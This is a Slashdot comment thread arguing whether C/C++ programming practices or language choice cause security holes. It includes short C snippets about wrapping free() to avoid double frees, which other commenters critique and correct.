      Security Focus will be more than happy to point out the short comings of C/C++ in security. Every application Microsoft makes is insecure (mostly written in C) and most of the packages for Linux. This wouldn't even have been a debate if it hadn't been for the folks over at Security Focus pointing this out quite will for me!

      With the number of people actually writing server-side java you'ld think they would have found a security problem if one had existed. There are great numbers of companies using Java on the server, and I can't think of one example of where security was an issue. MS's stupid little VM allowed people to open arbitrary files on client computers, but I don't ever remember argueing that Java couldn't be used to hack a system, just that a service running in Java has never been broken in to unlike the countless examples for C/C++.

      I figure you have to be pretty dense to not see this arguement considering it's the entire topic of the debate. Examples have been given, and support has been shown that C/C++ is at the root of most exploits when Java would work fine.

      You really have to be on crack to make the comment that Java isn't powerful enough to be run on most services. There are fast database servers written in Java. Some the fastest HTTP servers are written in Java. (Search slashdot history for that one.) You make these comments also in the face of companies prospering because they would rather spend money on hardware than development choosing Java. They get the security of Java, and the ease of development for a much lower TCO. Java is powerful enough to run any service you have on your computer short of X.

      You can start by comparing the vulnerabilities in Tomcat and Jetty to Apache. There have been problems... some involving the kernel not droping privileges (also written in C). The more shielding you have between the world and insecure C programs on your computer, the better. (And despite your claims, they are pretty much all insecure in some way.)

      Even if you manage to argue that Java is insecure, you'll only be argueing that I have to secure only one hole instead of a 10-20. (or two if you count Python or 3 if you count Perl)

      --
      Karma Clown
  97. Re:Safe != interpreted, and 'cracking' JVM irrelev by alienmole · · Score: 1
    There are plenty of comments here and published papers on writing clean, secure, and efficient code, regardless of which language is used.

    Yes, and there are plenty of published papers on the fact that safe languages do, in fact, buy you some safety. Obviously, they can't protect against all classes of programmer error; but they can protect against certain important classes of error, such as string buffer overflows, and arbitrary pointer dereferences, both of which have been the major factors in creating easily exploitable remote security holes.

    So, the author of the article in question is correct. In fact, kidding yourself that there's no difference between C and a safe language in terms of security, is exactly the sort of overconfidence (in this case based on either denial or ignorance) that the article was referring to.

  98. Re:You can, but it's hard, and why would you want by Elladan · · Score: 1
    #ifndef NULL
    #define NULL (void*)0
    #endif

    extern __inline__ void mfree(void *x){
    if(x!=NULL){
    free(x);
    x=NULL;
    }
    }

    This is a troll, right?

    Your mfree() function is completely useless, except in as much as it's an alias for free(). (An exact alias, free() is defined as a no-op on a null pointer)

  99. Reasons for C/C++ by John+Bayko · · Score: 1
    None of those reasons are significant. Why not use Pascal - it has real strings, and array bounds checking, but is still compiled and efficient? You can also write anything in it, even OS code (look at the original Macintosh).

    The compelling advantage of C and C++ are their translucency - you can see down to the level below what's happening, and confidently fiddle with the pointers and bits and so on. In C++, you can access stuff under the classes. It's fun, and powerful.

    The problem comes when you start to work on larger programs which draw your attention to higher level design. At some point, you're spending your effort on object interactions, and external interfaces, and all the fun fiddly bits aren't useful anymore, 'cause you've got better things to think about. At that point, things that seemed like minor inconvenience (just remember to check if a every time?).

    So you forget. Or figure you'll go back later when the rest is "done" (either it's never done, or you never have time, so that the holes just hang around).

    This is the advantage of using a higher level language. The entire point of higher level languages is to have the computer handle mindless repetitive stuff, because computers are very thorough at mindless repetitive stuff. A Pascal compiler will never just get bored and forget to check an array boundary. That takes things off your mind.

    Everyone starts with small programs or tasks, and C and C++ are nice for those, you get lots of experience. Most programmers just forget to give them up when they're no longer the right solution, because they're so used to them, and they work so well, and maybe they don't have time to learn another language. But the more mental effort you need to spend on higher level design, the more the low level stuff language should take care of. Maybe that only means graduating to C# or Java, maybe Python or Lisp - each one abstracts different amounts of the low level details.

    That really depends on where you like to focus. High level design can be every bit as interesting as low level coding, but it takes a mental transition that some people just prefer not to make. And some people do really like the fun of efficient coding (I do) and don't want to lose that.

    But in the end, the program suffers if you don't make the right choice.

    1. Re:Reasons for C/C++ by mofochickamo · · Score: 1
      None of those reasons are significant. Why not use Pascal - it has real strings, and array bounds checking, but is still compiled and efficient? You can also write anything in it, even OS code (look at the original Macintosh). With C++, you can use a class for real strings (std::string or your own) if you want, or you can use char*. The point is you have more flexibility. In some cases using char* is better (when you know you aren't out of bounds and speed is important). BTW, I don't consider Pascal a high level programming language.

      The problem comes when you start to work on larger programs which draw your attention to higher level design. At some point, you're spending your effort on object interactions, and external interfaces, and all the fun fiddly bits aren't useful anymore, 'cause you've got better things to think about. At that point, things that seemed like minor inconvenience (just remember to check if a every time?). You are talking about a design problem, not a language one. In all large projects you spend your time on object interactions (if nothing is interacting what is your program doing?). All the fun fiddly bits aren't useful? If some part of C++ isn't useful, then don't use it (you have the choice). The example of a minor inconvenience (always check if a) you mentioned is probably a design flaw, not an inherent problem with the language.

      Everyone starts with small programs or tasks, and C and C++ are nice for those, you get lots of experience. Most programmers just forget to give them up when they're no longer the right solution, because they're so used to them, and they work so well, and maybe they don't have time to learn another language. But the more mental effort you need to spend on higher level design, the more the low level stuff language should take care of. Maybe that only means graduating to C# or Java, maybe Python or Lisp - each one abstracts different amounts of the low level details. Again, I disagree. I work at a company that successfully developed two very large client/server applications, one written in Java and one written in C++. C/C++ is appropriate for large applications. Just look to open source for large applications written in C.

      --
      Honk if you're horny.
  100. Author confused. by Euphonious+Coward · · Score: 1
    Jon Lasser is confused.

    In particular, he confuses the distinction between safe and unsafe programming practices with the choice of language, and an makes a specious distinction between "high-" and "low-level" languages. He further fails to recognize why "the number of bugs in Web applications written in Perl and PHP is astounding" despite their supposed high level.

    An advantage of some languages that are very unlike Perl and PHP (such as C++ and O'Caml) is the ability to perform a variety of error checks at compile time. That these languages tend also to support "low-level" operations does not, by itself, make coding in them less safe. Rather, what matters is whether there are inherently safe ways to do all the common operations a programmer needs to do.

    What Jon Lasser should call for, if he wants to be taken seriously, is for better use of well-tested libraries that present high-level interfaces for common functions. Safe libraries may be written in any language strong enough to support a sound library interface. The more error checking that can be automated or obviated, the safer the code can be.

    C++ offers library authors strong tools for safe library implementations. Python enables sound interfaces, albeit checked only at runtime. C offers much less to the library designer, mainly because resource management in C cannot be automated. Perl offers the least of all, because global state may may affect the semantics of primitives used in a library more or less at random, and because the language semantics themselves tend to chaos. Java encapsulates memory management but offers little help in managing other resources.

    These languages don't fall neatly into "high-" and "low-level" bins that imply safety or unsafety. Safety comes, to a large degree, from use of well-designed, -implemented, and -tested libraries. Language choice affects safety in the availability and usability of such libraries.

  101. consider past performance by LifesABeach · · Score: 0

    the nature of coding is a time constrined task with dynamic conditions. its not that one operating system is better than another, ( the basic functions are all the same). but i believe that when faced with a problem, its how the problem is solved. currently the linux community is offering constructive solutions that are quick and insightful. i think that what we are seeing is a change in how solutions to problems are to be generated. sadly, i see that the inflexablity of older systems are offering arrogence in exchange for abilities to solve problems.

  102. "Monolith of security" - wrong answer by Animats · · Score: 1
    Anybody who talks about a "monolith of security" doesn't get it. The only known way to build secure systems is to to drastically minimize the amount of trusted code. That's how it's done in the DoD world.

    A mail server that doesn't deliver mail locally has no need whatsoever to run anything as root. Most of its components could run in a jail, unable to open files. The same is true for DNS servers. Yet, after twenty years, we're still getting reports of holes in those programs. Under UNIX and Linux, too.

    Microsoft OSs are worse, yes, but that's a separate problem. Their lock-in business model requires lousy security.

  103. Hardly by Srin+Tuar · · Score: 1

    Can you show me a high level language that duplicates the flexibility and performance of C++ templates? Once you realize that you cannot, youll understand that C++ is still the only game in town.

    And performance does matter. How pleasant are client side gui's implemented in Java? HORRID! They are just slow, and ugly.

    1. Re:Hardly by HiThere · · Score: 1

      Eiffel. Python. Ruby. SmallTalk. Ada95 (probably) ... though you must use not-strictly-obvious approaches.

      There are probably others, I only know a few languages (and some might quibble about Ada95 being "high-level" in his sense).

      And I wouldn't include Java here. It will catch many kinds of memory leaks, and type errors, and I still wouldn't include it. As for C#? I don't know. I tend to be skeptical, as it seems to be a Java clone.

      OTOH, IDEs are a separate matter. And so are GUI tools. So it really *does* depend on what you are doing.

      My real beef with most languages that I consider "generally good" is the difficulty with (and non-standard approaches required to) building GUIs and printing nicely formatted reports. PDF generation libraries need to be included in the language specificaions, likewise dialog construction and interaction APIs. When they're add-ons, everybody does it differently, and you get into the mess where "version xxx of WindSho is required to build dialogs with version yyy of langDef, but with version yyz of langDef you must use...". That's one thing Java got right. I may not like how slow swing is, but *having* an API for GUIs is extremely important.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    2. Re:Hardly by dubl-u · · Score: 1

      How pleasant are client side gui's implemented in Java? HORRID! They are just slow, and ugly.

      Oh, please. On my ancient 700 MHz Pentium III box, complicated Java applications like IntelliJ's IDEA work just fine; it's both responsive and pretty. If you're going to bitch about Java, stick to reasonably modern complaints, like its lack of type-safe collections (which won't be fixed until Java 1.5). Or bitch about the classloader. Or grumble about library management. But the whole "Java is too slow" thing is so 1998.

  104. A Bit Odd by Ashcrow · · Score: 1

    I can't say I compleatly agree with this article. In the comercial software world speed is extreamly important. Look at Opera, their biggest sellng point is being 'the worlds fastest browser' and happens to be coded in C++/Qt. While it would be nice, I doubt one could write a comparable comercial browser in python or perl.

    Oddly enough, there was no mention of ada as a viable security conscious language.

  105. Yawn by deblau · · Score: 1

    FUD. Innuendo, theories, and proclamations without any evidence or compelling, detailed solutions to the so-called problems he enumerates. 'When will programmers take responsibility'... 'Programmers aren't like jet pilots'... whine, whine. Completely content-free.

    --
    This post expresses my opinion, not that of my employer. And yes, IAAL.
  106. The real deal by forgoil · · Score: 1

    Source code will never be better or more secure than the progammers who make and work with the software. As easy as that. If open source is better it is because the programmers are better and given better conditions to make it better (more time, more ppl checking it out, etc).

  107. Re:Theo by Anonymous Coward · · Score: 1, Interesting

    Yes. Unless you are writing in machine code, you are depending on the quality of at least one other layer of software, so if you want to be paranoid only machine code should be considered "secure" -- well, least likely to be insecure, anyway. My real point was the cost of layering -- with C you already have several dependent layers of software of high complexity and potential for failure. Programming in something based on C, say Perl, has one more. Something writen in Perl itself adds yet another, etc. The supposed benefit of not having to be as careful a programmer because one is using a higher level language needs to be balanced against the cost of having to trust that all the products used to create said higher level language are better than what you could do if you carefully used a lower level one. The real problem today is lazy coders who can't be bothered to check return values or program defensively against probable problems. You may be able to move most of them to some high level language where they can be sloppy without fear of (as much) reprisal, but someone else will still need to be a programmer good enough to create or maintain said higher level language.

  108. Way off, IMHO... by casmithva · · Score: 1
    Okay, so Little Johnny's having trouble with arithmetic, so the teacher suggests that he just use a calculator instead. So Little Johnny grows up, never knowing how to do or having extreme trouble with doing basic arithmetic, Algebra, or Calculus on paper because he's been so reliant on calculators and programs like Matlab or Mathematica. Then the day comes when he's under pressure to finish a task or assignment, and the batteries in the calculator are dead or the symbolic manipulator's not working right (server's down, computer's dead). He's screwed. I know this is the modern teaching method, and it's nothing more than a recipe for eventual disaster.

    Pilots learn how to fly by wire, but they also learn how to fly without those aids, just in case, and they practice it. At least that's what the pilots I know have told me.

    To tell programmers to forego lower-level programming languages because they don't know how to use them properly and switch to higher-level languages is foolish. Sooner or later they're going to have to work with those lower-level languages because of a project requiring hard-core performance, and they'll be so screwed if they don't know what to do or how to do it properly. Plus, if it's not in their mindset to watch out for security and performance issues in language A, then what makes one think that the programmer will do a better job with language B?

    Most programmers I know don't see C or C++ as their dream languages, but rather Java with EJB. And on many instances they have to be beaten back from that because they're trying to implement something that's far more complicated and fragile than it should be. Oh, and insecure, too -- not because of buffer overflows or formatting string problems, but because of bad architectural decisions and too much emphasis placed on OODA techniques and not enough placed on security, data integrity, fault tolerance, etc. They end up with systems that, despite being written in a higher-level language, are easily compromised and private data yanked out of a database, content defaced, systems easily taken down, etc.

    It doesn't matter what language you use for a task; they each have their own risks, vulnerabilities, quarks, etc. Just as mechanics, construction workers, plumbers, electricians, carpenters have to know how to use their tools, programmers have to know how to use theirs. If they don't, then they should be retrained or sacked or moved to someplace where they can not cause as much damage.

    1. Re:Way off, IMHO... by dfj225 · · Score: 1

      From what I got out of the article, he was saying that programmers should use a higher-level language when there is no need to use a lower-level one, not that programmers should forego learning low-level languages all together. In a way, I agree with him. A language is just a tool to get a job done. If you can write code that is more secure in one language easier than in another, use the easy language by all means. In essence, I think this is what the author was saying in his article.

      --
      SIGFAULT
  109. Re:HLL's are NOT a substitute for secure programmi by Rich0 · · Score: 1

    I'd rather use code written in C by security-minded coders than HLL code written by somebody clueless.

    And I'd rather use code written in an HLL by security-minded coders than C code written by security-minded coders. And that is the point the author was trying to make. Who says that security-minded coders have to write in C?

  110. Idiots who don't know Unix/Linux shouldn write ... by Anonymous Coward · · Score: 0

    Articles about it.

    If you are a decent Systems Adinstrator you can lock
    any Unix box up tight.

  111. Boo by Alex+Belits · · Score: 1

    (this is a copy of my comment that I have left for the article)

    The recent security holes in Unis softare have ABSOLUTELY NOTHING TO DO
    WITH LOW-LEVEL LANGUAGES and everything with design bugs. Also the idea
    that languages must keep newbies from doing specific mistakes (in this
    case security bugs due to buffer overflows) is a load of complete and
    undiluted bullshit. If they won't make common mistakes, they will make
    uncommon ones. If it won't be a buffer overflow, it will be passing
    tainted data. If it won't be memory leak, it will be object leak. And in
    any case there will be some plain bad design.

    The truth is, bad programmers write bad code no matter what, and newbies
    make mistakes no matter how the language creators, in their arrogance,
    tried to keep those newbies from doing this. The solution is to keep
    programmers that write bad code from programming, not to try to find a
    magic pixie dust that makes bad coder equal to a professional.

    --
    Contrary to the popular belief, there indeed is no God.
  112. Security journalists who don't understand security by Anonymous Coward · · Score: 0

    As a previous response stated - there _is_ a reason that things are still written in C, performance being very notable, but another reason is because most of the alternatives suck ass, and don't actually buy you anything.

    Python, Perl, Java? Do -any- of those allow me to compile a program into a small executable (an irc or mail client should not be more than 500K imnsho)? Answer: NO. You'd be better off recommending Pascal or BASIC, honestly - you really would, at least most implementations of those are not quite the dog of more recent 'smart+safe' languages, and yet still keep people from really touching memory, while being able to compile speediesh executables. Do people use those languages either? No, because they're also kinda dumb, but for different reasons. This isn't say that C is the holy grail - there is definitely room for improvement, but the whole Virtual Machine JIT interpreted language path is not the way.

    Fact is, all of these "safe" languages take increasing CPU speed and power for granted, but they're completely -wrong- about that assumption too. Your $300 Dell PoS is going to be a dog no matter what because the manufacturer is concerned about commodity pricing, not performance, and _definitely_ not security [just see what percentage of computers even ship with ECC memory ACK!]. Precompiled binaries still rule the world, and rightly so compared to all this JIT shit.

    Moreover, just because you're using one of those languages, doesn't mean that programmers aren't going to make mistakes that will cost them. So, for all the added bloat of .NoT, Java, Pearl et al you still get security problems, and if you're trying to run several of these "safe" programs on your system at once, you've probably also managed to DoS yourself. Great advice. I don't even consider myself a real programmer (just dabbling now again) and I understand these basics, what's his excuse?

    Things like stackguard, or OpenBSD's recent propolice (which is now by default, surprise) are somewhat useful. But again, they do not solve the _real_ problem: bugs in code. Humans make mistakes, so bugs are going to occur, but until more than a few isolated projects (again, OpenBSD being notable here) audit regularly, the bugs will remain release after release after release, regardless of language.

    Here's an analogy for ya:

    If you have high cholesterol levels because you eat too much meat & diary and don't excercise enough, you can now take a pill or eat... what, Cheerios? to 'reduce' your cholesterol levels. What does the pill buy you? Risk of heart disease, maybe crapping your pants, I don't know - but believe me even after FDA approval, there's a long list of potential side effects.

    Meanwhile, you _could_ just eat more vegetables and fruit rather than animal products all the time. Get off your lazy ass now and then, and low and behold - your cholesterol goes down. Hell, become vegan, and you'll have _none_. Problem -solved-, you're healthier, and you've saved money on medical bills (or rising Cheerios costs, not to mention veggies are cheaper than meat), and you don't have any side effects from whatever 'curative' you were trying to use.

    Bugs = cholestrol, fixing bugs = eating right & exercising, switching to Pearl/Java/Python/PHP/crap = taking some medical pill to make the symptoms go away, but not really curing you and possibly giving you more grief.

    Y'know, maybe most doctors don't say this outright, in the medical field, there is a clear distinction between a -cure- and something that reduces your symptoms. 99% of cures have to do with improving your lifestyle habits and not being lazy. 99% of medicines don't cure you, they just reduce your symptoms. Does cold medicine remove the cold? Is there even a cure for the cold (programmer stupidity)? No. However, maybe it will reduce your fever and lessen your coughing.

    To be -healed- you need to take healing actions. In the world of software, that means fixing bugs. It's kin

  113. Attacking the Straw Man by ThePhin · · Score: 1

    This is known as "attacking a straw man". Lasser asserts "[programmers believe] that real coders, like fighter pilots, work as close as possible to the bare metal" then shows the number of ways that fighter pilots are in fact aided by high-level tools (fly-by-wire), and are more careful, trained and security conscious than the hypothetical boob programmer is aware of. Stoopeed programmer!

    If he'd confined himself to making the case for higher level languages, and avoided this classical ad hominen attack, I'd take his thesis more seriously.

    By the way, I work on one of those performance intensive applications, but have taken every opportunity to push for use of Python, where appropriate. In the end, it was too difficult to justify, not because of the attitudes of hotdog codin' cowboys, but due to pragmatic logistic reasons, such as forcing customers to download an additional 40-50 MB of binaries to guarantee that they had GTK+, PyGTK, Python 1.5.2 and so on (our customers are on older Solaris and HP-UX as well as Linux platforms).

  114. Re:You can, but it's hard, and why would you want by HiThere · · Score: 1

    I'm not a C++ programer, except very slightly. So does free(x) also assign NULL to x? If not, then it isn't an exact duplicate (seems likely as functions aren't supposed to change their arguments). If so, then you're correct, but I don't see how double frees could ever happen... separate threads?

    --

    I think we've pushed this "anyone can grow up to be president" thing too far.
  115. Re:You can, but it's hard, and why would you want by _xeno_ · · Score: 1
    Well, you're right, but you're wrong too.

    His version contains extra useless code to set the pointer to NULL. That's why he has the separate definition. So that after a call to mfree, the pointer is set to NULL and everyone is happy.

    Except that it's in a function and hense the caller keeps the original non-NULL pointer. (Although it might not; it depends on the compiler's definition of "__inline__". GCC would leave the "callers" x alone, I tested it. I expect that this would be the case for most other compilers as well.) An actual preprocessor macro would be needed to make that actually work.

    Except that there's another problem making even that useless:

    #define NULL (void*)0
    #define mfree(x) \
    if (x != NULL) { \
    free(x); \
    x = NULL; \
    }

    void f() {
    char *buf = malloc(128);
    foo(buf);
    free(buf);
    }

    void foo(char *bar) {
    // does something
    mfree(bar);
    // (bar now == NULL)
    }

    (No indentation courtesy our Python hating <ecode> friend.)

    After mfree sets bar to NULL, buf, the same pointer, remains pointing to memory. And it then attempts to free it again - a double free, even when using the mfree "safe" macro.

    This example is an obvious example of poor coding - foo() should not free the memory. However, it's a simple example to illustrate the more likely result of a much more complicated program, where the memory is freed but pointers remain. Once code becomes non-trivial, bugs like these can easily slip into C code.

    So you're completely right. His code is extra overhead that accomplishes nothing above what a standard call to free() would do. It's an almost-exact alias. (Unless you intend to do a lot of free(NULL)ing, in which case the inlined if statement will reduce overhead.) And it doesn't actually prevent against doublefrees. So some thought would have been nice, on behalf of our AC friend.

    --
    You are in a maze of twisty little relative jumps, all alike.
  116. Re:You can, but it's hard, and why would you want by Anonymous Coward · · Score: 0
    No, just a quick hack that was written directly into a Slashdot comment box and has a typo. Check below for the patch; can you see why you check if x is NULL now? Even if you're having trouble, you can still clearly understand the point; wrap free() in a macro that a) Frees the data & b) Sets the pointer to NULL, ensuring that subsequent free()'s don't try and double free.

    Still, if you want to be a pissent little holier than though Slashdot poster, then go right ahead.

    extern __inline__ void mfree(void *x){
    if(x!=NULL){
    free(x);
    (unsigned long)*x=NULL;
    }
    }

    Obviously you may want to cast x to something other than unsigned long if it suits or is required.
  117. Check out PTypes by bblackfrog · · Score: 1

    I think it would help if there were a standard, minimal C string library

    Check out PTypes. To quote the PTypes home page: ...a simple alternative to the STL that includes multithreading and networking. It defines dynamic strings...

    I'm currently using it in a commercial project, and it's a nice package, well thought out, and quite stable.

    1. Re:Check out PTypes by Ed+Avis · · Score: 1

      PTypes looks interesting, but I think the world has enough C++ foundation libraries. There are at least a dozen on Freshmeat. But what about third-party libraries? Should they use the string class from PTypes, or from some other foundation library?

      The 'S' in 'STL' is the most important letter.

      (Actually in my original post I was suggesting a standard string library for C. A migration en masse to C++ would also solve the problem, but is even less likely. And it wouldn't be that great if all the C++ programs used different libraries for something so basic as strings.)

      --
      -- Ed Avis ed@membled.com
    2. Re:Check out PTypes by bblackfrog · · Score: 1
      Actually in my original post I was suggesting a standard string library for C.

      Yes, I gathered that when I re-read your post after submitting mine. My bad.

      In defense of PTypes, its real value for me is its threading and networking abstraction accross mac, win, and various unixes. That's what I need for this project - no more, no less. The package is small, which is an advantage over something like ACE when it comes to making alterations, and making sure it runs on more obscure environments like the mac. The string class is a bonus. Another bonus is a thread-safe ref-counting scheme with a nice smart-pointer template on top of it.

      But what about third-party libraries? Should they use the string class from PTypes, or from some other foundation library?

      The PTypes string class seamlessly converts to/from (char*) and (const char*). As long as third-party libraries can handle these basic types, then the crossover is seamless.

      For example this function:
      pt::string m( pt::string s );
      May be used like so:
      printf( m( "hello world" ));
      The 'S' in 'STL' is the most important letter.

      I agree, although the STL has no threading or networking abstraction layer. I'm very comfortable using PTypes for that.
    3. Re:Check out PTypes by Ed+Avis · · Score: 1

      char * as a common denominator among different string libraries leaves a lot to be desired, however; most importantly it breaks when strings contain NUL characters. A seamless conversion to and from std::string would be better.

      --
      -- Ed Avis ed@membled.com
  118. Really? by lukme · · Score: 1

    I strongly disagree with the article. I can tell you for *sure* that neither my C nor my C++ code suffer from buffer overflows. How do I know? Because I don't use buffers.

    Which C C++ calls do you use? If you don't use buffers (either allocated or auto variables), it can't be that many. I am very interested to see an example of this doing anything meaningful with a file and/or user input and/or text processing.

    For a lot of my C code I don't even allocate my memory by hand (I'm a proponent of garbage collection, and yes, it can be done in C); for a lot of my C++ code, I don't even bother - STL handles most of my memory management needs, some strategically placed magic classes handle the rest.

    Garbage collection has its own set of problems and it is not useful for real time work. I am willing to bet that you haven't read the STL or your magic classes and understood them.

    After I read the STL, I consider it only good for trival programs. I found it very hard to understand, difficult to extend and difficult to debug.

    Do you know what you code is doing?

    Do you use your code as your users do?

  119. Re:You can, but it's hard, and why would you want by Electrum · · Score: 1

    Even our best programmers make security bugs when writing in C though (see: Quake I, II, III, Half-Life, Linux Kernel, sshd, ftpd, apache, perl, mozilla, and just about every other software package you think is written by great programmers), so how can we expect the rest of the world to do it?

    qmail and djbdns have no security bugs and they are written in C. How do you explain that?

  120. Re:You can, but it's hard, and why would you want by Electrum · · Score: 1

    You're right, C or C++ code with explicit memory allocation still makes it too easy to code double-free bugs.

    Not really. There is a simple way to avoid freeing something twice: set the pointer to NULL after it has been freed. Both free() and delete take no action if the pointer is NULL.

  121. Re:You can, but it's hard, and why would you want by Tony-A · · Score: 1

    Worse that useless, because it looks like it's doing something usefull.
    If x and y refer to the same memory,
    either free(x) or free(y) will free the memory.
    both will double-free the memory.
    Even worse if the memory is reallocated between free(x) and free(y). The free(y) is legitimate, but it is the wrong block of memory.

  122. Why even use buffers/string format? by AArmadillo · · Score: 1

    STL-provided classes in C++ makes buffers and string format bugs almost obsolete. Why use a buffer when you can use a dynamically allocated string/vector/stringbuf or something similar? There are some portability issues, but any platform that gcc has been ported to will compile STL code fine. In most of the code I put out, there aren't any buffers, effectively eliminating any buffer overflow and string format vulnerabilities. The STL is the 'alternative library' that the article so much desires. If only programmers would USE it!

  123. Re:You can, but it's hard, and why would you want by Electrum · · Score: 1

    Wrong, try this:

    void mfree(void **ptr) {
    free(*ptr);
    *ptr = NULL;
    }


    The behavior of free() on NULL pointers is specified by ISO C and POSIX.

  124. Re:You can, but it's hard, and why would you want by czth · · Score: 1

    No, free(x) doesn't assign NULL to x. There's a good reason for this: avoiding unnecessary work. Yes it's minimal work, and lots of systems will define a macro that will do the free and assign NULL too (ISTR MFC has something like that), but it counts over millions of iterations. C++'s delete operator also doesn't assign NULL, for the same reason. Usually the variable you just freed will go out of scope soon anyway, so why waste time writing to it?

    If you've worked with assembler you'll see that the often-made jest of C being portable assembler is quite true - working in assembler long enough will have you wishing for exactly the features that C has (functions with local variables and named parameters, the various looping constructs, expressions). And it goes that far and no further, and doesn't hold your hand. For some people and some projects this is fine. For some it isn't, either because the people aren't skilled enough or the tradeoffs in using a higher level language outweigh any possible advantages.

    Which language to use is a combination of project applicability, personal preference and the collective experience and skills of you and (if applicable) your team. Saying "C is bad" or "don't use C because people have made mistakes with it" is narrow-minded and stupid. Use what works for you. Unless it's PHP, in which case you need help, quick.

    czth

  125. Yup, Slashdotters are too cool... by Precipitous · · Score: 2, Insightful

    Having spent a few minutes reviewing the comments to this article, it's obvious to me that there is quite a lot of truth to what this guy is saying.

    There is dangerous tendency to believe that real coders, like fighter pilots, work as close as possible to the bare metal.

    Many comments rebutting the arguments he makes about this are classic straw man arguments - they rebut an argument that is related to, but weaker than, the argument actually made by the author. The author provided an an example that working with higher level languages could reduce code errors. A number of comments attack this example, rather than the argument itself, which is that programmers who think that they must do everything themselves risk more errors. To provide an example: My company has a variety of well secured thin client applications. The other day, a new web application popped up. When I forgot my password, I managed found a way to circumvent its security in a matter of minutes. The developers of this app were simply too macho to draw on the code and solutions already existing within the same company. They rolled their own, and made mistakes.

    My developer cohorts and I have a running joke about Wheel v2 (actually, we're probably on Wheel v 98.2). Developers love to reinvent the wheel. Good programming practice always needs to start with taking the specification and asking "Is there a product out there that solves this" Often, you find a set of libraries that solve 90% of your problem - costing much less than the development time it'd take to roll your own. Often you'll find that the developer next door has already built that. But it is just so much more fun to write your own than learn to use someone elses code! The authors point - not well rebutted by argueing about C versus V.M. based languages - speaks to the conceit of programmers who think that they can do it better than the third party library or their co-worker. A number of slashdot comments support his contention that programmers are conceited - "He's not a real programmer ..." etc.

    Also worth noting: A large percentage of code written is not for embedded systems and palms. It's used within corporate intranets. At my company, is easy enough to make standards for libraries and languages and languages used - making an app dependant on a few other components is really not so evil. Arguing that your palm apps must be written in C does not address the authors point!

    --
    My motto: "A cat is no trade for integrity."
    1. Re:Yup, Slashdotters are too cool... by dutky · · Score: 1
      Precipitous (586992) wrote:

      My developer cohorts and I have a running joke about Wheel v2 (actually, we're probably on Wheel v 98.2). Developers love to reinvent the wheel. Good programming practice always needs to start with taking the specification and asking "Is there a product out there that solves this" Often, you find a set of libraries that solve 90% of your problem - costing much less than the development time it'd take to roll your own. Often you'll find that the developer next door has already built that. But it is just so much more fun to write your own than learn to use someone elses code!


      My experience has been that, in many organizations, rolling your own code is often faster, easier, and less error prone than trying to make use of something someone else wrote (either internally or from an outside source). Often, the internall code is undocumented and too tailored to the specific task to be applied to another job without significant adaptation (writing support code around the library calls to make up for the differences in application) or refactoring (actually rewriting the library so it is general enough for both tasks). Code from external sources must be vetted by higher-ups (either to get a P.O. for proprietary code, or an Ok to use open source/free software) which is a death warrant once you are pushing a deadline.

      I have seen many code reuse initiatives that focus either on replacing the current tools with new tools (this is the equivalent of the HLL vs. C/C++ argument) or on browbeating developers who don't use the existing (undocumented, error-prone) code base. I have rarely seen an organization that is willing to put the effort into both design and documentation that would be required to support code reuse.

      The real culprits, both in preventing wide-spread code reuse and in generating masses of insecure code, are cultural, not technical. Organizations just aren't willing to pay for anything other than coding: everything else gets short changed (inadequate specifications, inept design and analysis, no code reuse, and laughable, pro-forma, testing).

  126. Re:You can, but it's hard, and why would you want by Ed+Avis · · Score: 1
    There is a simple way to avoid freeing something twice: set the pointer to NULL after it has been freed.

    Er, 'the' pointer? If there were guaranteed to be only one pointer to a chunk of memory then life would indeed be easy. You could use C++'s auto_ptr to make sure of that. Double-free bugs often come about when there could be more than one pointer to the same bit of memory and you're not sure which one 'owns' it.

    Of course in normal coding you would set a pointer to null after free()ing the memory it references, unless the pointer is part of a structure which itself is soon to be destroyed.

    --
    -- Ed Avis ed@membled.com
  127. Re:Safe != interpreted, and 'cracking' JVM irrelev by dubl-u · · Score: 1

    That is my point. Security breechs happen. Bad code happens. Cracks happen.

    This is not a binary problem.

    By adopting test-first development, unit testing, and pair programming, my bug counts dropped by orders of magnitude, to a level less than one reported bug per programmer-month. By your logic, since bugs still happen, these practices are "irrelevant".

    The same goes for using better tools. It's pretty easy to get a buffer overflow in C. It's very, very hard to get one in Java, although I'm sure it's not impossible. Does this mean that Java is pointless? No. Reducing occurences of a whole class of bugs by 99.9% is a big gain, even if it's not complete elimination.

    There are plenty of comments here and published papers on writing clean, secure, and efficient code.

    Yes, and that's exactly the problem. No matter how smart, a programmer has a limited amount of brainpower available. For best results, you want as much of that brainpower spent on solving the actual problem at hand, not dealing with the tools.

    I admit it: a computer is better at managing unimportant details than me. And 99.98% of the time, the details of which value is stored where in RAM is, as far as I'm concerned, one of those unimportant details. If I can get the computer to handle that for me, that's a big win. As Moore's law tells us, computers double in speed every 18 months, and programmers don't. Taking advantage of that means I can do more cool stuff before I die. Who wouldn't want that?

  128. Resort to Name Calling by Black-Man · · Score: 1

    Grow up? Sounds like something coming from a high school kid. Sorry. C++ developer for over 10 years... I've grown up and have come to realize it's not the tool, but the person using the tool.

    1. Re:Resort to Name Calling by g4dget · · Score: 1
      Resort to Name Calling

      Yes, indeed, you did resort to name calling. But, don't worry, I don't take it too personally.

      Sorry. C++ developer for over 10 years...

      Well, I have you beat there by nearly another decade. In any case, perhaps now is the time for you to become very proficient at several other languages so that you actually have a basis for comparison.

      I've grown up and have come to realize it's not the tool, but the person using the tool.

      So, why don't you program in COBOL or Fortran 77? After all, COBOL programmers and Fortran 77 programmers were saying exactly the same thing you are: who needs all this new-fangled C and C++ nonsense when we can just write everything in COBOL or Fortran 77?

      And when it comes to safety, your reasoning is roughly the same reasoning people use who don't wear safety belts or practice unsafe sex. And it's about as smart.

  129. Re:You can, but it's hard, and why would you want by pyrrho · · Score: 1

    and this is why C++ was invented.

    You can overload the array operator, you can use class systems.

    Hell, you can use references and eschew pointers.

    If someone has the discipline to use Java and or some other magic tool (oooh magic), then they should also have the discipline to use a class library to address these issues.

    The real problem seems to be that people want to be led to the One True Solution, and C++ requires that you are an expert in solutions, that you can compare solutions --- that you are competant to choose the right solution for the job at hand.

    --

    -pyrrho

  130. Re:This just in! by Anonymous+Brave+Guy · · Score: 1
    There are tons of popular C++ libraries that don't use the STL...to say nothing of all of the C libraries that you must call into.

